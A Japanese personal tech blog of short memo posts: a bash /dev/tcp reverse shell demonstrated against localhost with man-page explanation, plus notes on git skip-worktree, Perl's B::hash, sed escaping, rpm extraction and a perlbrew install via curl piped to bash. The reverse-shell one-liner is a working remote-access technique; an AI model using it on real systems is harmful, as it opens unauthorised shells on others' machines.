bashのリダイレクト(リバースシェル)について

朝からbash脆弱性で盛り上がってますが、ちょっと調べていて bash の機能を使って Reverse Shell できるそうなので、そのメモ。

http://d.hatena.ne.jp/ukky3/20080420/1208672083

基本上記のブログ通り。


● SHELL1

nc -l -k 8080


● SHELL2

exec 5<>/dev/tcp/127.0.0.1/8080; sh <&5 >&5 2>&5


● SHELL1

nc -l -k 8080
date
Thu Sep 25 14:22:01 JST 2014
hostname
hkobayash01

SHELL1 でコマンド打つと結果が帰ってきます。
exec してるところが呪文すぎるので、manpage 見るとちゃんと載ってる。
http://linuxjm.sourceforge.jp/html/GNU_bash/man1/bash.1.html

読み書きのためのファイル・ディスクリプターのオープン

リダイレクト演算子

[n]<>word

を使うと、 word を展開した結果の名前を持つファイルがファイル・ディスクリプター n での読み書きのためにオープンされます。 n が指定されていなければ、 ファイル・ディスクリプター 0 で読み書きが行われます。 ファイルが存在しなければ、新しく生成されます。

/dev/tcp/host/port
host が有効なホスト名またはインターネットアドレスで port が整数のポート番号ならば、 bash は対応するソケットに対して TCP 接続のオープンを試みます。

ファイル・ディスクリプターの複製

リダイレクト演算子

[n]<&word

を使うと入力ファイル・ディスクリプターを複製できます。 word が 1 桁以上の数値に展開された場合、 n で示されるファイル・ディスクリプターが生成され、 word で指定された数値のファイル・ディスクリプターのコピーとなります。 word に含まれる数値が入力用にオープンされたファイル・ディスクリプターを 指していない場合、リダイレクト・エラーが起きます。 word を評価した結果が - となった場合、ファイル・ディスクリプター n はクローズされます。 n が指定されていない場合、標準入力 (ファイル・ディスクリプター 0) が使われます。

同様に、演算子

[n]>&word

を使って出力ファイル・ディスクリプターを複製できます。 n が指定されていない場合は、標準出力 (ファイル・ディスクリプター 1) が使われます。 word に含まれる数値が、出力用にオープンされた ファイル・ディスクリプターを指していない場合、 リダイレクト・エラーが起きます。特別な場合ですが、 n が省略され、かつ word が 1 桁以上の数字には展開されなかった場合、 前に説明したように標準出力と標準エラー出力がリダイレクトされます。


つまり、

exec 5<>/dev/tcp/127.0.0.1/8080; sh <&5 >&5 2>&5

は読み書き用に fd5 をオープンして、127.0.0.1:8080 と関連付けして、その後 sh を起動して、標準入出力とエラー出力をfd5につなげているっぽい。

bash にはこんな機能もあったのかって感じでした。


他にも、プロセス置換機能などいろいろあるっぽい。

http://sechiro.hatenablog.com/entry/2013/08/15/bash%E3%81%AE%E3%83%97%E3%83%AD%E3%82%BB%E3%82%B9%E7%BD%AE%E6%8F%9B%E6%A9%9F%E8%83%BD%E3%82%92%E6%B4%BB%E7%94%A8%E3%81%97%E3%81%A6%E3%80%81%E3%82%B7%E3%82%A7%E3%83%AB%E4%BD%9C%E6%A5%AD%E3%82%84%E3%82%B9


肝心のbash脆弱性については、下記参照。

https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/
https://x86-64.jp/blog/CVE-2014-6271
http://www.walbrix.com/jp/blog/2014-09-bash-code-injection.html

すでにコミット済みのファイルを無視する & git 軽量化

コード読みたくて clone したら一緒に管理されてる gif やら png やらその他のバイナリファイルも
clone されて DISK 圧迫するからそこら辺は消して無視したい。

gitignore や .git/info/exclude で無視しようとしても、すでにコミットされてるから無視できない。

そんな時は、下記の方法を使う。


1.assume-unchanged

#無視
git update-index --assume-unchanged [ファイル名]

#無視解除
git update-index --no-assume-unchanged [ファイル名]

2.skip-worktree

#無視
git update-index --skip-worktree [ファイル名]

#無視解除
git update-index --no-skip-worktree [ファイル名]


どちらでも、無視してくれる。
2つのコマンドの違いは、無視されたファイルの変更を維持するかどうか。
前者は変更されても、変更されてないと扱う。
なので、リモートのファイルに変更がある状態で git pull するリモートのファイルが取り込まれる。
後者の場合は、取り込まれない。


設定を確認するには、下記のコマンド

git ls-files -v


git pull して、バイナリファイルが戻ってくると嫌なので、
下記のコマンドで、バイナリファイルとかを無視して一括で削除。

find . -type f \( -name \*.gif -o -name \*.swf -o -name \*.png -o -name \*.jpg \) -print0 | xargs -0 git update-index --skip-worktree

find . -type f \( -name \*.gif -o -name \*.swf -o -name \*.png -o -name \*.jpg \) -print0 | xargs -0 rm -f

1.9Gあったリポジトリが、1.2Gまで小さくなった。
git status しても差分は出てこない。

さらに、下記のコマンドを実行すると1.1Gまで小さくなった。

git gc --aggressive

そこそこ満足。
もっと小さくできないかは引き続き調べる。


参考
http://blog.bbtune.com/archives/1329/to-ignore-uncommitted-changes-in-a-file-that-is-already-tracked
http://qiita.com/items/56d0d3ba7a1300625f92
http://d.hatena.ne.jp/stakizawa/20080522/t1
http://techracho.bpsinc.jp/baba/2012_05_22/5594

ハッシュで使われるハッシュ関数を利用する方法

巷で噂のperl脆弱性について調べ中。
http://blog.perlassociation.org/2013/03/perl.html


衝突するキーを探したくて、ハッシュ値の計算方法を調べてたけど、
Bモジュールを使えば良さそう.


#! /bin/perl
use strict;
use warnings;
use B qw(hash);

print hash("test");

実行すると、下記のような結果が得られる.


0x3f75ccc1


追記
hash の返り値は文字列なので、数値として扱うには hex() 関数を通すとよさげ。


参考
http://mikeneko.creator.club.ne.jp/~lab/perl/numerical_transform/

変数内のスラッシュをエスケープ

参考:http://oshiete.goo.ne.jp/qa/4356597.html

シェルスクリプトで変数にファイルのパスを保存しているとき、その変数を使ってsedやらawkで置換したい場合にスラッシュをエスケープしないとエラーになるのでその対処方法。

FILE=/file/to/path
ESCAPE=`echo $FILE | sed "s/\//\\\\\\\\\//g"`
sed "s/filepath/$ESCAPE"  hoge

\が9個並んでて意味わからん。
これでできることはわかったが、なんでこれでいいのかが全然わからん。。。

rpm の中身を見る

参考1:http://www.atmarkit.co.jp/flinux/rensai/linuxtips/956rpmdevextract.html
参考2:http://database-tearoom.seesaa.net/article/15091713.html

RPMパッケージからファイルを取り出す

# yum install rpmdevtools
$ rpmdev-extract *.rpm

rpmパッケージをインストールするときに実行されるスクリプトを確認

$ rpm -qp --scripts *.rpm

perlbrew インストール

パッケージ周りの管理はもともとされてたけど、最近は(?)本体もホームに置いて管理できるやつが流行りっぽいね。
まぁそのほうが、管理者権限なくても色々できるからレンタルサーバ等で便利だし、OSのアップデート等でバージョン上がって動かないって問題にも対処しやすいのかね。


ということで、perlbrew を入れてみた。
# perlの場合はバージョン上がって動かないってのはあんまり無さそうだけど。
# Ruby や node.js あたりは多そうだから、rvmやらnvm は重宝しそう。


参考1:http://blog.kiftwi.net/2011/08/02/os-x-lion%E3%81%ABperlbrew%E3%81%A8cpanm%E3%82%92%E3%82%A4%E3%83%B3%E3%82%B9%E3%83%88%E3%83%BC%E3%83%AB%E3%81%97%E3%81%A6perl%E7%92%B0%E5%A2%83%E3%82%92%E6%95%B4%E3%81%88%E3%82%8B/
参考2:http://www.perlbrew.pl/


まぁ書いてあるとおりにするだけなんだけど。
デフォルトだと ~/perl5 にインストールされるので、 ~/.perlbrew に変更。

$ export PERLBREW_ROOT=$HOME/.perlbrew
$ curl -L http://xrl.us/perlbrewinstall | bash
$ echo 'source ~/.perlbrew/etc/bashrc' >> ~/.bashrc
$ source ~/.bashrc
$ perlbrew init

source ~/.perlbrew/etc/bashrc を~/.bashrc に追加とか出てくるけど、すでにしてあるのでスルー

$  perlbrew available
  perl-5.14.2-RC1
  perl-5.14.1
  perl-5.12.4
  perl-5.10.1
  perl-5.8.9
  perl-5.6.2
  perl5.005_04
  perl5.004_05
  perl5.003_07

利用可能な perl 一覧。とりあえず、perl-5.14.1をインストール。

$ perlbrew install perl-5.14.1
$ perlbrew switch perl-5.14.1
$  perlbrew list
* perl-5.14.1
  /usr/bin/perl (5.10.1)

これで、5.14.1にバージョンアップされた。
とりあえず、よく使いそうなコマンドは以下のとおり。


switch-off :システムにインストールされた perl に切り替え。
self-upgrade : prelbrew 自身を更新してくれる。
install-cpanm : cpanm をインストール。


今まで cpanm はアプリケーションごとに毎回手動でダウンロードしていたので、これでその手間からおさらばできる。
ついでに、参考にしたサイトで紹介されていたモジュール管理のソフトも入れておく。

$ cpanm App::pmuninstall
$ cpanm App::cpanoutdated
$ cpan-outdated | cpanm

↑のコマンドで、古いモジュールを更新してくれる。
便利!